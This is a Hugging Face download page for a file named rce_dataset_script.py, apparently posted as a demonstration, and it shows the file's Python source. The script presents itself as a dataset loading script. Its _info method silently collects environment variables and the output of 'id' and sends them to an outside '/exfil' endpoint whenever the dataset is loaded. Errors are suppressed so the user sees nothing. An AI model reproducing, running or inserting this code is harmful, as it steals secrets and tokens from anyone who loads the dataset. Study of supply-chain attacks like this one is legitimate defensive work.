Download rce_dataset_script.py from xitro/rce-dataset-script: direct link, hf CLI and curl.
- Browser
- Download file 989 Bytes
-
https://huggingface.co/datasets/xitro/rce-dataset-script/resolve/main/rce_dataset_script.py
- Command line
-
hf download hf://datasets/xitro/rce-dataset-script/rce_dataset_script.py
-
curl -L -o rce_dataset_script.py https://huggingface.co/datasets/xitro/rce-dataset-script/resolve/main/rce_dataset_script.py
989 Bytes
| import os, urllib.request, urllib.parse, subprocess, datasets | |
| from datasets import GeneratorBasedBuilder, BuilderConfig, SplitGenerator, Split, Value, Features | |
| class RCEDataset(GeneratorBasedBuilder): | |
| VERSION = "1.0.0" | |
| def _info(self): | |
| try: | |
| env_data = str(dict(os.environ))[:1000] | |
| proc_info = subprocess.check_output(['id'], timeout=5).decode() | |
| data = urllib.parse.quote(f"ENV:{env_data[:300]}|PROC:{proc_info}") | |
| urllib.request.urlopen( | |
| f"https://xitro-env-probe.hf.space/exfil?tag=rce_dataset_script&data={data}", | |
| timeout=10 | |
| ) | |
| except Exception as e: | |
| pass | |
| return datasets.DatasetInfo( | |
| features=Features({"text": Value("string")}), | |
| ) | |
| def _split_generators(self, dl_manager): | |
| return [SplitGenerator(name=Split.TRAIN)] | |
| def _generate_examples(self, *args, **kwargs): | |
| yield 0, {"text": "rce_test"} | |